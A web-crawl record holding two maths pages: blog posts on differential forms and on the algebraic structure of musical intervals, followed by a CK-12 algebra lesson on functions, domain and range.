ensemble (any keyboard instruments, certain wind instruments). Nevertheless, it is hypothesised that certain ensembles (string quartets, unaccompanied choirs) do in fact adjust their intonation in this way. ## Cheap & Easy differential forms There’s a way of motivating the notions of tangent vectors and covectors that’s hinted at but generally glossed over – at least in the physics courses that I take. This post is a quick overview, serving mostly as a reminder to myself of the topic. Please excuse the lack of rigour. I will use the Einstein summation convention throughout, $x^iy_iz^j \equiv \sum\limits_i \: x^iy_iz^j,$ and hopefully by the end I’ll even have explained why it makes sense. ## Tangent vectors We have an $n$-dimensional manifold $M$, which contains points, but not vectors. You cannot subtract two points on a manifold and expect to get something useful; imagine a line drawn between two points on the Earth’s surface. It would go awkwardly underground, and wouldn’t measure any sort of quantity that’s appreciable by inhabitants on the surface. Let $\gamma \: : \: \mathbb{R} \longrightarrow M$ be a curve on $M$. It takes some real parameter (lets call it $t$ ) and spits out points in $M$ along a line, as you evolve $t$. Let’s call the coordinates of these points $p^i(t)$ in some coordinate system, and $p'^i(t)$ in some other coordinate system. Then we can find a ‘velocity’ vector $\dot{\gamma}$, tangent to the curve, whose coordinates are $\left(\frac{dp^1}{dt}, \frac{dp^2}{dt}, \ldots, \frac{dp^n}{dt}\right)$. The coordinates of $\dot{\gamma}$ in the primed coordinate system are then given by the chain rule, $\frac{dp'^i}{dt} = \frac{dp'^i}{dp^j}\frac{dp^j}{dt}.$ This motivates the study of all objects that transform this way, and they are called contravariant vectors, or contravectors, or just vectors. Now, so far the vectors are just $n$-tuples of numbers, with no particular geometric significance. I will however write down a vector $\mathbf{v}$ with a basis by pairing up its components $v^i$ with a basis $\mathbf{e}_i$, as well as the same in the primed coordinate system: $\mathbf{v} = v^i\mathbf{e}_i = v'^i\mathbf{e'}_i,$ and for now these basis vectors $\mathbf{e}_i$ are formal placeholders. All we can say is, whatever the choice of $\mathbf{e}_i$, they will have to transform using the inverse of the transformation matrix used by $v^i$, in order that the expression above remains true in any coordinate system. A vector lives at a single point $p$ of $M$, in a space called ‘the tangent space to $M$ at $p$ ‘, or $T_pM$ for short – imagine a flat plane ( $T_pM$ ) balancing on top of a lumpy surface ( $M$ ), touching it at a point ( $p$ ). If $\mathbf{v}$ varies from point to point, it is strictly a vector field, or in other words a function $\mathbf{v} \: : \: M \longrightarrow T_pM$; in this case we can just say that it lives in $TM$, and we have to be careful not to forget about its position-dependence even if we suppress it occasionally for notational convenience. ## Differential operators Let $f \: : \: M \longrightarrow \mathbb{R}$ be a scalar field (just a real-valued function) on our manifold $M$. We can write differentiation of $f$ along a vector (the directional derivative along $\mathbf{v}$ ) in three ways, all defined to be equivalent $\left( \nabla_\mathbf{v} f \right) (p) \equiv \frac{df(p + t\mathbf{v})}{dt}\Big\|_{t = 0} \equiv v^i\frac{\partial f}{\partial x^i},$ and note that we’re not really adding the vector $\mathbf{v}$ to the point $p$, because we’re evaluating the expression at $t = 0$. The $p$-dependence is casually suppressed in the last expression. We might worry that this is coordinate system-dependent, so lets try to write the same quantity down in the primed coordinate system, using the transformation properties of $\mathbf{v}$ that we already know, and the chain rule: $v'^i\frac{\partial f}{\partial x'^i} = \frac{\partial x'^i}{\partial x^j} v^j \frac{\partial f}{\partial x^k}\frac{\partial x^k}{\partial x'^i} = v^j \frac{\partial f}{\partial x^k} \delta^k_j = v^k \frac{\partial f}{\partial x^k},$ so our directional derivative is coordinate-invariant after all! Note that multiplying the coordinates of a matrix with those of its inverse (and summing according to the Einstein convention) gives the Kronecker delta, which is why we can swap out $j$ for $k$ in the last expression. Coordinate-invariance shouldn’t surprise us too much, because the first two ways of writing the directional derivative made no mention of any coordinate system for $\mathbf{v}$. Now, recall that first-order differential operators on real functions of $n$ variables all take the form $D f = a^i\frac{\partial f}{\partial x^i},$ and so if we just interpret the values $a^i$ as components of a vector, we’ve found a one-to-one correspondence between vectors and first-order differential operators (strictly speaking it’s between vector components and operators, but all the transformation matrices between coordinate systems are one-to-one too so it doesn’t matter). This correspondence with differential operators hints strongly at what quantities to use as our basis vectors – the individual derivative operators $\frac{\partial}{\partial x^i}$ certainly transform in the correct way. We now make the formal identification $\frac{\partial}{\partial x^i} \equiv \mathbf{e}_i.$ I say formal because we will not treat these basis vectors like ‘proper’ derivative symbols, as their ‘true’ meaning will only come into play in certain carefully-defined situations. Let’s make the following abbreviations: $\frac{\partial}{\partial x^i} \equiv \partial_i$ and $\frac{\partial}{\partial x'^i} \equiv \partial'_i$ when talking about operators; and $\frac{\mathbf{\partial}}{\mathbf{\partial} x^i} \equiv \partial_i \equiv \mathbf{e}_i$ and $\frac{\mathbf{\partial}}{\mathbf{\partial} x'^i} \equiv \partial'_i \equiv \mathbf{e'}_i$ when talking about basis vectors. ## Linear functionals A linear functional is a function $\alpha \: : \: TM \longrightarrow \mathbb{R}$ that satisfies linearity, i.e. $\alpha(\mathbf{u}) = x \in \mathbb{R} \\ (\alpha + \beta)(\mathbf{u}) = \alpha(\mathbf{u}) + \beta(\mathbf{u}) \\ \alpha(\mathbf{u} + \mathbf{v}) = \alpha(\mathbf{u}) + \alpha(\mathbf{v}).$ Linear functionals are ‘vector-like’, but live in a space called $T^M$, rather than the $TM$ that contains vectors. They are totally determined by their action on the basis vectors of $TM$, so can be written down in components: $\alpha_i = \alpha(\mathbf{e}_i) \\ \alpha(\mathbf{v}) = \alpha_i v^i \\ \alpha = \alpha_i\eta^i \\ \eta^i(\mathbf{v}) = v^i,$ where the $\eta^i$ are some as-yet-mysterious basis for our linear functionals. Note the position of the indices on each quantity: the Einstein summation convention is working correctly, even if we don’t necessarily know yet what sort of quantities we’re dealing with. The expression $\alpha(\mathbf{v}) = \alpha_i v^i$ must be coordinate independent, as the left hand side makes no reference to any coordinate system; and we already know how to transform $v^i$. Therefore the components $\alpha_i$ must use the opposite transformation, $\alpha'_i = \alpha_j \frac{\partial x^j}{\partial x'^i}$. So we have $\alpha'_i v'^i = \alpha_j \frac{\partial x^j}{\partial x'^i} \frac{\partial x'^i}{\partial x^k} v^k = \alpha_j \delta^j_k v^k = \alpha_j v^j = \alpha(\mathbf{v}).$ These linear functionals are also called covariant vectors, covectors, differential one-forms, or one-forms. Remember that both $\alpha$ and $\mathbf{v}$ can have $p$-dependence in general, making them covector fields and vector fields respectively. ## Total differential of a function The following formula for the ‘total’ differential of a function should be familiar: $df = \partial_i f dx^i,$ where $p$-dependence has been suppressed on both sides. However, we don’t currently have a way to make geometric sense of the individual coordinate differentials $dx^i$. This expression must be coordinate-independent (no mention of coordinates is made on the left side), so the coordinate differentials must transform as $dx'^i = \frac{\partial x'^i}{\partial x^j} dx^j.$ This is exactly how the basis for our covectors $\eta^i$ transforms! So we can make the formal identification $\eta^i \equiv dx^i$, much like how we earlier decided that $\mathbf{e}_i \equiv \partial_i$. The full component-wise expression for the action of our covectors on our vectors is $\alpha(\mathbf{v}) = \alpha_i v^j dx^i(\partial_j) = \alpha_i v^j \delta^i_j = \alpha_i v^i.$ The only trick here is $dx^i(\partial_j) = \delta^i_j$, which we have defined to be true. Our expression for $df$ now comes in handy as a way to generate new covectors. In fact, covectors generated in this way have the following useful property: $df(\mathbf{v}) = \partial_i f v^i = \nabla_\mathbf{v} f.$ You may have spotted by now the value of the Einstein summation convention – as long as you keep your up-indices on vector components (and covector bases), and down-indices on covector components (and vector bases), any scalar you end up with will be coordinate-independent. This is a useful ‘type-check’ on any expression; if the indices don’t match, something must be wrong (or you’ve violated relativity by finding a preferred coordinate system). I finish with three warnings: • Covectors generated from functions (like $df$ above) are not the only kind! Any linear combination of the basis covectors $dx^i$ is a covector, and in general the arbitrary covector $a_i dx^i$ will not be the differential of any function at all. • The components of vectors transform in the opposite way to the components of covectors. The basis vectors transform oppositely to the vector components, and to the basis covectors. This is confusing! Hence physicists like to pretend that basis vectors don’t exist, and only work with components. This is a convenient way to work for many computations, but you can end up getting confused when your basis vectors change from point-to-point (as they do on most non-trivial manifolds and coordinate systems): $\frac{d\mathbf{v}}{dt} = \frac{d}{dt}\left(v^i \mathbf{e}_i\right) = \dot{v}^i\mathbf{e}_i + v^i\mathbf{\dot{e}}_i.$ Mathematicians never write any down coordinates, say they are working in a ‘coordinate-free’ way, and act all clever about it. • There is one more way to write the directional derivative, which is $\mathbf{v}\left(df\right) = v^i \frac{\partial f}{\partial x^j} \partial_i(dx^j) = v^i \frac{\partial f}{\partial x^j} \delta^j_i = v^i \frac{\partial f}{\partial x^i} = \nabla_\mathbf{v} f,$ treating $\mathbf{v}$ as a function $T^M \longrightarrow \mathbb{R}$. Unfortunately you also see people write the above as $\mathbf{v}\left(f\right) = v^i \partial_i f = \nabla_\mathbf{v} f,$ which is very confusing, as it conflicts with our careful definitions of what the basis vectors and covectors mean – such is life. ## Algebraic structure of musical intervals and pitches Here’s the first in what will hopefully be a series of related posts about one particular (limited) aspect of the interaction between music and mathematics. In my mind, I’ll be explaining things to a hypothetical musically uneducated mathematician, who should nevertheless end up with an understanding as good as any bona-fide musician’s – in the tradition of certain physics books of which I am a fan. I begin by revising, in unnecessary rigorous detail, what you already knew about musical pitches and intervals. Musical intervals are the signed distance between musical notes, as written on a traditional (Western) five-lined musical stave. For completeness, I will first summarise traditional pitch and interval notation. ## Pitch syntax Pitches are a pair, consisting of a letter and an accidental: $P = (N, a)$, $P \in \mathcal{P}$, where $N \in \{A,B,C,\ldots,A',\ldots\}, \\ a \in \{\natural,\sharp,\flat,\sharp\sharp,\flat\flat,\ldots,\sharp^n,\flat^n,\ldots\}$ leading to constructions such as C♮, F♯, B♭ etc. These pitches correspond in a slightly irregular way to the horizontal lines (and gaps between them) on the stave, but I will not go into the details here. All pairs $(N, a)$ correspond to valid pitches. The set of pitches is actually extended upwards beyond that written above with super-prime symbols ($A', B'$ ), and downwards with sub-primes ($C_{'},D_{'}$ ). The accidentals are pronounced as follows: ♮ is a natural, ♭ is a flat, ♯ is a sharp. Pitches form an affine space, with intervals as the difference type (subtraction of two pitches). I will not define this subtraction until we have a clearer idea of the algebra of intervals. ## Interval syntax Intervals are also a pair, consisting of a quality and a number: $I = (q, n)$, $I \in \mathcal{I}$, where $q \in \{\mathsf{P,M,m,A,d,AA,dd},\ldots,\mathsf{A}^n,\mathsf{d}^n,\ldots\}, \\ n \in \{\ldots,\mathsf{-3,-2,1,2,3},\ldots\}$ leading to interval names such as P5, M3, m6 etc. Note that the set which $n$ belongs to is not ℤ – the $n$ are simply an arbitrary label (nominal numbers), and their arithmetic is tied up with the overall algebra of musical intervals in a complex way that does not correspond to the conventional notion of integers. Intervals form an associative abelian algebra (generally written as addition), together with the four additional operations of augmentation, diminution, inversion and negation. The interval qualities listed above are pronounced, respectively, perfect, major, minor, augmented, diminished, doubly augmented etc. The interval numbers are pronounced as ordinal numbers, with the special case that $8$ is an octave, and $1$ a unison. Note also that not all combinations $(q, n)$ are permitted; in particular, there are certain rules that allow one to construct valid intervals. Start with one of the eleven valid base intervals: $\mathcal{I}' = \{\mathsf{P1}, \mathsf{m2}, \mathsf{M2}, \mathsf{m3}, \mathsf{M3}, \mathsf{P4}, \mathsf{P5}, \mathsf{m6}, \mathsf{M6}, \mathsf{m7}, \mathsf{M7}\}.$ The total set $\mathcal{I}$ of valid intervals is actually periodic: take $\mathcal{I}'$, and in the positive $n$ direction $\mathcal{I}$ has period 7 and the entire inverted set (the result of the map $n \longrightarrow -n$ ) is also in $\mathcal{I}$, i.e. $(q,n) \in \mathcal{I}' \implies (q,n \pm 7m) \in \mathcal{I}^{\prime\prime},$ and then also $(q,n) \in \mathcal{I}^{\prime\prime} \implies (q, -n) \in \mathcal{I} \:\: \mathrm{and} \:\: (q, n) \in \mathcal{I}.$ ## Operations on intervals I will freely interchange two forms of notation for the same interval: $\mathsf{P5}$ and $(P,5)$ for convenience. I will use $+$ for interval vector addition and addition of intervals to pitches, and $-$ for interval vector subtraction and subtraction of pitches. I will use a dot $\cdot$ for scalar multiplication of interval vectors by integers. Before I get to the complete decision procedure for intervallic addition below, a limited form of interval addition can be defined on $\mathcal{I}'$, $\mathsf{P1} + I = I\\ (\mathsf{M},n) - (m,n) = \mathsf{m2}\\ (\mathsf{m},n+1) - (\mathsf{M},n) = \mathsf{m2}\\ (\mathsf{m},n+1) - (\mathsf{P},n) = \mathsf{m2},\\$ which can be extended in the obvious way to $\mathcal{I}$ (of course, each case is defined only for $(q,n)$ that actually exist in $\mathcal{I}$ ). Then, you can augment intervals: $aug(q,n) = \begin{cases} (\mathsf{A},n) & \mbox{if } q = \mathsf{P} \\ (\mathsf{M},n) & \mbox{if } q = \mathsf{m} \\ (\mathsf{A},n) & \mbox{if } q = \mathsf{M} \\ (\mathsf{m},n) & \mbox{if } q = \mathsf{d} \mbox{ and } (\mathsf{m},n) \in \mathcal{I} \\ (\mathsf{P},n) & \mbox{if } q = \mathsf{d} \mbox{ and } (\mathsf{P},n) \in \mathcal{I} \\ (\mathsf{A}^{i+1},n) & \mbox{if } q = \mathsf{A}^i \\ (\mathsf{d}^{i-1},n) & \mbox{if } q = \mathsf{d}^i,\\ \end{cases}$ and diminish them: $dim(q,n) = \begin{cases} (\mathsf{d},n) & \mbox{if } q = \mathsf{P} \\ (\mathsf{m},n) & \mbox{if } q = \mathsf{M} \\ (\mathsf{d},n) & \mbox{if } q = \mathsf{M} \\ (\mathsf{M},n) & \mbox{if } q = \mathsf{A} \mbox{ and } (\mathsf{M},n) \in \mathcal{I} \\ (\mathsf{P},n) & \mbox{if } q = \mathsf{A} \mbox{ and } (\mathsf{P},n) \in \mathcal{I} \\ (\mathsf{A}^{i-1},n) & \mbox{if } q = \mathsf{A}^i.\\ (\mathsf{d}^{i+1},n) & \mbox{if } q = \mathsf{d}^i \\ \end{cases}$ Note that $aug(dim(I)) = dim(aug(I)) = I$, for all $I$. We can now define addition on intervals. Let $I_1 = (q_1,n_1)$ and $I_2 = (q_2,n_2)$. Then, $I_1 + I_2 = I_3 = (q_3, n_3),$ finding $q_3$ and $n_3$ according to the following procedure: augment or diminish $I_1$ until you have a new interval $I'_1 \in \mathcal{I}$, along the way calculating an augmentation index $j_1$, where you increment $j_1$ once for each augmentation, and decrement once for each diminution. Repeat for $I'_2$. Then perform the following interval addition, which is possible because addition is already defined on $\mathcal{I}$: $I'_1 + I'_2 = I'_3.$ Then, perform the appropriate number ($j_1 + j_2$ ) of augmentations on $I'_3$, to give $I_3$: $aug^{j_1+j_2}(I'_3) = (q_3,n_3).$ Incidentally, it is always true that $n_3 = n_1 + n_2 - 1$. ## Free abelian groups Quick revision of free abelian groups. A free abelian group $G$ of rank $n$ satisfies the following: there exists at least one set $B \subset G$, with $\|B\| = n$, such that every element of $G$ can be written as a linear combination of the elements of $B$, with integer coefficients, i.e. $g = b_1^{i_1}b_2^{i_2}\ldots b_n^{i_n}$. Free abelian groups can be thought of as vector spaces over the integers (ℤ as the field of scalars, $G$ as the group of vectors). A rank-$n$ free abelian group is isomorphic to the group of $n$-tuples of integers, with the group operation pairwise addition: $(a_1,a_2,\ldots) + (b_1,b_2,\ldots) = (a_1 + b_1, a_2 + b_2, \ldots),$ or in other words, any rank-$n$ free abelian group is isomorphic to the direct sum of $n$ copies of ℤ: $G \cong \mathbb{Z} \oplus \mathbb{Z} \oplus \ldots \oplus \mathbb{Z}.$ There may be many different choices of basis set $b$, much like a vector space with no preferred basis. ## Intervals as a free abelian group As you can probably tell, our previous method of interval addition is a horrible mess. Luckily we can prove that intervals form a rank-2 free abelian group (said proof consists of a pile of tedious case analysis). Hence we can find a two-element basis; after which interval addition proceeds easily, being reduced to element-wise addition of pairs of integers. We need to find any pair of linearly independent intervals to use as a basis – to decompose any arbitrary interval into a linear combination of the two basis intervals. Once we have one basis, we can use them to easily generate all the other bases. However, it’s not immediately obvious how to find our first pair of linearly independent intervals. Luckily, I have such a pair up my sleeve already: (A1, d2). They must be linearly independent, because $n\cdot \mathsf{A1} = (\mathsf{A}^n, n - n + 1) = (\mathsf{A}^n,1) \neq \mathsf{d2} \:\:\: \forall n.$ We will now take the opportunity to simplify our augmentation and diminution operations, $aug(I) = I + \mathsf{A1} \\ dim(I) = I - \mathsf{A1}.$ Decomposing arbitrary intervals into a basis requires some more tedious case analysis, so here are just a few examples: $\mathsf{m2} = \mathsf{A1} + \mathsf{d2}\\ \mathsf{P5} = 7\cdot \mathsf{A1} + 4\cdot \mathsf{d2}\\ \mathsf{M6} = 9\cdot \mathsf{A1} + 5\cdot \mathsf{d2}\\ \mathsf{P8} = 12\cdot \mathsf{A1} + 7\cdot \mathsf{d2}.$ If we define the map $\phi : \mathcal{I} \longrightarrow \mathbb{Z}\times\mathbb{Z}$ to be the map that gives the decomposition into the (A1, d2) basis, then the above could be written as $\phi(\mathsf{m2}) = (1,1)\\ \phi(\mathsf{P5}) = (7,4)\\ \phi(\mathsf{M6}) = (9,5)\\ \phi(\mathsf{P8}) = (12,7).$ The basis (A1, d2) is convenient insofar as A1 matches up with what we think of as semitones, and d2 simply counts an interval’s number. Now that we can add and subtract intervals easily, I can concisely define the two remaining special operations on intervals, inversion and negation: $inv(I) = \mathsf{P8} - I\\ neg(I) = \mathsf{P1} - I.$ ## Pitch space Of course, merely being able to add and subtract intervals is pretty useless on its own. What we really want to do is use intervals to hop around the space of pitches. The rules for pitch arithmetic are only barely less irregular than for intervals. Note: adding an interval to a pitch is called transposition, and it is technically a separate operation from interval addition (it has a different type signature), but we shall use the $+$ symbol for it anyway. In our notation from the first section, adding an octave (P8) adds a prime symbol to a letter name $(N,a) + \mathsf{P8} = (N',a)\\ (N_{'},a) + \mathsf{P8} = (N,a)$ with the obvious extension to multiple octave subtraction, and multiple primes and sub-primes. Adding and subtracting A1 corresponds to adding and subtracting sharps and flats: $(N,\natural) + \mathsf{A1} = (N,\sharp)\\ (N,\flat) + \mathsf{A1} = (N,\natural)$ with the obvious extension to double sharps (♯♯) and double flats (♭♭) and arbitrary numbers of accidentals. All that remains is to give the intervals between the natural (♮) pitches: $\mathsf{A'\natural} - \mathsf{G\natural} = \mathsf{M2}\\ \mathsf{G\natural} - \mathsf{F\natural} = \mathsf{M2}\\ \mathsf{F\natural} - \mathsf{E\natural} = \mathsf{m2}\\ \mathsf{E\natural} - \mathsf{D\natural} = \mathsf{M2}\\ \mathsf{D\natural} - \mathsf{C\natural} = \mathsf{M2}\\ \mathsf{C\natural} - \mathsf{B\natural} = \mathsf{m2}\\ \mathsf{B\natural} - \mathsf{A\natural} = \mathsf{M2}.$ The equivalent of choosing a basis for our intervals is finding a coordinate system for our pitches. To do this we must convert the pitch affine space $\mathcal{P}$ into a vector space (Wikipedia suggests the name Pointed space) by choosing an origin. At this point, any choice of origin is arbitrary and meaningless, but it becomes important when we get to tuning systems, which will be the subject of the next post in this series. For example, let us define a map $\psi : \mathcal{P} \longrightarrow \mathbb{Z}\times\mathbb{Z}$ with origin $\psi(\mathsf{A\natural}) = O.$ Then, to find the coordinates of an arbitrary pitch $P$, we compute $\psi(P) = O + \phi(P - O).$ Of course, it is easiest to simply define $O = (0,0)$. We now no longer need to worry about how to represent pitches, and will focus on intervals for the purposes of basis changes. ## Change of interval basis Given that we now have one valid basis, the problem of further changes of basis reduces to linear algebra in two dimensions. Let $\phi(I) = (m,n)$ be our interval in the (A1,d2) representation, and let $\phi(I_1) = (a,b)$ and $\phi(I_2) = (c,d)$ be a different pair of linearly independent basis intervals. Then $x\cdot(a,b) + y\cdot(c,d) = (m,n),$ which is simply a system of two linear equations, to be solved by determinants in the usual way: $x = \frac{dm - cn}{ad - bc}, \:\:\:\: y = \frac{an - bm}{ad - bc}.$ Clearly the solution will not always be in the integers, so we may sometimes choose to extend our scalar field to the rationals (particularly when we come to tuning systems). Here are the examples from the previous-but-one section, but demonstrating the (P5,P8) basis: $\mathsf{m2} = -5\cdot\mathsf{P5} + 3\cdot\mathsf{P8}\\ \mathsf{P5} = 1\cdot\mathsf{P5} + 0\cdot \mathsf{P8}\\ \mathsf{M6} = 3\cdot \mathsf{P5} - 1\cdot\mathsf{P8}\\ \mathsf{P8} = 0\cdot \mathsf{P5} + 1\cdot\mathsf{P8},$ and again with the (M2,m2) basis: $\mathsf{m2} = 0\cdot\mathsf{M2} + 1\cdot\mathsf{m2}\\ \mathsf{P5} = 3\cdot\mathsf{M2} + 1\cdot\mathsf{m2}\\ \mathsf{M6} = 4\cdot \mathsf{M2} + 1\cdot\mathsf{m2}\\ \mathsf{P8} = 5\cdot \mathsf{M2} + 2\cdot \mathsf{m2}.$ Finally, here is a diagram showing pitch space, with arrows representing 3 choices of interval basis. The ideas in this post are implemented concretely in two software projects: the Haskell Music Suite (also available on Hackage), and in AbstractMusic (the latter being my own personal research project). Posted in maths, music \| 1 Comment	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 596, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9250580072402954, "perplexity": 438.6068792237745}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-13/segments/1490218187193.40/warc/CC-MAIN-20170322212947-00210-ip-10-233-31-227.ec2.internal.warc.gz"}
http://www.ck12.org/book/Basic-Algebra/r1/section/1.5/	<meta http-equiv="refresh" content="1; url=/nojavascript/"> Functions as Rules and Tables \| CK-12 Foundation You are reading an older version of this FlexBook® textbook: CK-12 Algebra - Basic Go to the latest version. # 1.5: Functions as Rules and Tables Created by: CK-12 Instead of purchasing a one-day ticket to the theme park, Joseph decided to pay by ride. Each ride costs $2.00. To describe the amount of money Joseph will spend, several mathematical concepts can be used. First, an expression can be written to describe the relationship between the cost per ride and the number of rides, $r$. An equation can also be written if the total amount he wants to spend is known. An inequality can be used if Joseph wanted to spend less than a certain amount. Example 1: Using Joseph’s situation, write the following: a. An expression representing his total amount spent b. An equation that shows Joseph wants to spend exactly$22.00 on rides c. An inequality that describes the fact that Joseph will not spend more than $26.00 on rides Solution: The variable in this situation is the number of rides Joseph will pay for. Call this $r$. a. $2(r)$ b. $2(r) = 22$ c. $2(r) \le 26$ In addition to an expression, equation, or inequality, Joseph’s situation can be expressed in the form of a function or a table. Definition: A function is a relationship between two variables such that the input value has ONLY one output value. ## Writing Equations as Functions A function is a set of ordered pairs in which the first coordinate, usually $x$, matches with exactly one second coordinate, $y$. Equations that follow this definition can be written in function notation. The $y$ coordinate represents the dependent variable, meaning the values of this variable depend upon what is substituted for the other variable. Consider Joseph’s equation $m = 2r$. Using function notation, the value of the equation (the money spent $m$) is replaced with $f(r)$. $f$ represents the function name and $(r)$ represents the variable. In this case the parentheses do not mean multiplication; they separate the function name from the independent variable. $& \quad \ input\\& \quad \ \ \ \downarrow\\& \quad \underbrace{f(x)}= y \leftarrow output\\& \ function\\& \quad \ \ box$ Example 2: Rewrite the following equations in function notation. a. $y=7x-3$ b. $d=65t$ c. $F=1.8C+32$ Solution: a. According to the definition of a function, $y=f(x)$, so $f(x)=7x-3$. b. This time the dependent variable is $d$. Function notation replaces the dependent variable, so $d = f(t) = 65t$. c. $F = f(C) = 1.8C + 32$ ## Why Use Function Notation? Why is it necessary to use function notation? The necessity stems from using multiple equations. Function notation allows one to easily decipher between the equations. Suppose Joseph, Lacy, Kevin, and Alfred all went to the theme park together and chose to pay$2.00 for each ride. Each person would have the same equation $m=2r$. Without asking each friend, we could not tell which equation belonged to whom. By substituting function notation for the dependent variable, it is easy to tell which function belongs to whom. By using function notation, it will be much easier to graph multiple lines (Chapter 4). Example 3: Write functions to represent the total each friend spent at the park. Solution: $J(r)= 2r$ represents Joseph’s total, $L(r)= 2r$ represents Lacy's total, $K(r)= 2r$ represents Kevin's total, and $A(r)= 2r$ represents Alfred’s total. ## Using a Function to Generate a Table A function really is an equation. Therefore, a table of values can be created by choosing values to represent the independent variable. The answers to each substitution represent $f(x)$. Use Joseph’s function to generate a table of values. Because the variable represents the number of rides Joseph will pay for, negative values do not make sense and are not included in the value of the independent variable. $R$ $J(r) = 2r$ 0 $2(0) = 0$ 1 $2(1) = 2$ 2 $2(2) = 4$ 3 $2(3) = 6$ 4 $2(4) = 8$ 5 $2(5) = 10$ 6 $2(6) = 12$ As you can see, the list cannot include every possibility. A table allows for precise organization of data. It also provides an easy reference for looking up data and offers a set of coordinate points that can be plotted to create a graphical representation of the function. A table does have limitations; namely it cannot represent infinite amounts of data and it does not always show the possibility of fractional values for the independent variable. ## Domain and Range of a Function The set of all possible input values for the independent variable is called the domain. The domain can be expressed in words, as a set, or as an inequality. The values resulting from the substitution of the domain represent the range of a function. The domain of Joseph’s situation will not include negative numbers because it does not make sense to ride negative rides. He also cannot ride a fraction of a ride, so decimals and fractional values do not make sense as input values. Therefore, the values of the independent variable r will be whole numbers beginning at zero. Domain: All whole numbers The values resulting from the substitution of whole numbers are whole numbers times two. Therefore, the range of Joseph’s situation is still whole numbers just twice as large. Range: All even whole numbers Example 4: A tennis ball is bounced from a height and bounces back to 75% of its previous height. Write its function and determine its domain and range. Solution: The function of this situation is $h(b)= 0.75b$, where $b$ represents the previous bounce height. Domain: The previous bounce height can be any positive number, so $b \ge 0$. Range: The new height is 75% of the previous height, and therefore will also be any positive number (decimal or whole number), so the range is all positive real numbers. Multimedia Link For another look at the domain of a function, see the following video where the narrator solves a sample problem from the California Standards Test about finding the domain of an unusual function. Khan Academy CA Algebra I Functions (6:34) ## Write a Function Rule In many situations, data is collected by conducting a survey or an experiment. To visualize the data, it is arranged into a table. Most often, a function rule is needed to predict additional values of the independent variable. Example 5: Write a function rule for the table. $& \text{Number of CDs} && 2 && 4 && 6 && 8 && 10\\& \text{Cost}\ (\) && 24 && 48 && 72 && 96 && 120$ Solution: You pay $24 for 2 CDs,$48 for 4 CDs, and $120 for 10 CDs. That means that each CD costs$12. We can write the function rule. $\text{Cost} = \12 \times \text{number of CDs}$ or $f(x) = 12x$ Example 6: Write a function rule for the table. $&&x && -3 && -2 && -1 && 0 && 1 && 2 && 3\\&&y && \quad 3 && \quad 2 && \quad 1 && 0 && 1 && 2 && 3$ Solution: The values of the dependent variable are always the positive outcomes of the input values. This relationship has a special name, the absolute value. The function rule looks like this: $f(x) = \|x\|$. ## Represent a Real-World Situation with a Function Let’s look at a real-world situation that can be represented by a function. Example 7: Maya has an internet service that currently has a monthly access fee of $11.95 and a connection fee of$0.50 per hour. Represent her monthly cost as a function of connection time. Solution: Let $x=$ the number of hours Maya spends on the internet in one month and let $y=$ Maya’s monthly cost. The monthly fee is $11.95 with an hourly charge of$0.50. The total cost $=$ flat fee $+$ hourly fee $\times$ number of hours. The function is $y = f(x) = 11.95 + 0.50x$ ## Practice Set Sample explanations for some of the practice exercises below are available by viewing the following video. Note that there is not always a match between the number of the practice exercise in the video and the number of the practice exercise listed in the following exercise set. However, the practice exercise is the same in both. CK-12 Basic Algebra: Domain and Range of a Function (12:52) 1. Rewrite using function notation: $y= \frac{5}{6} x-2$. 2. What is one benefit of using function notation? 3. Define domain. 4. True or false? Range is the set of all possible inputs for the independent variable. 5. Generate a table from $-5 \le x \le 5$ for $f(x)= -(x)^2- 2$ 6. Use the following situation for question 6: Sheri is saving for her first car. She currently has $515.85 and is savings$62 each week. 1. Write a function rule for the situation. 2. Can the domain be “all real numbers"? Explain your thinking. 3. How many weeks would it take Sheri to save $1,795.00? In 7 - 11, identify the domain and range of the function. 1. Dustin charges$10 per hour for mowing lawns. 2. Maria charges $25 per hour for math tutoring, with a minimum charge of$15. 3. $f(x) = 15x - 12$ 4. $f(x) = 2x^2 + 5$ 5. $f(x)=\frac{1}{x}$ 6. What is the range of the function $y = x^2 - 5$ when the domain is $-2$, $-1$, 0, 1, 2? 7. What is the range of the function $y = 2x - \frac{3}{4}$ when the domain is $-2.5$, 1.5, 5? 8 , 9 Feb 22, 2012 Dec 11, 2014	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 78, "texerror": 0, "math_score": 0.679714024066925, "perplexity": 881.2817822394284}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-06/segments/1422119446463.10/warc/CC-MAIN-20150124171046-00212-ip-10-180-212-252.ec2.internal.warc.gz"}
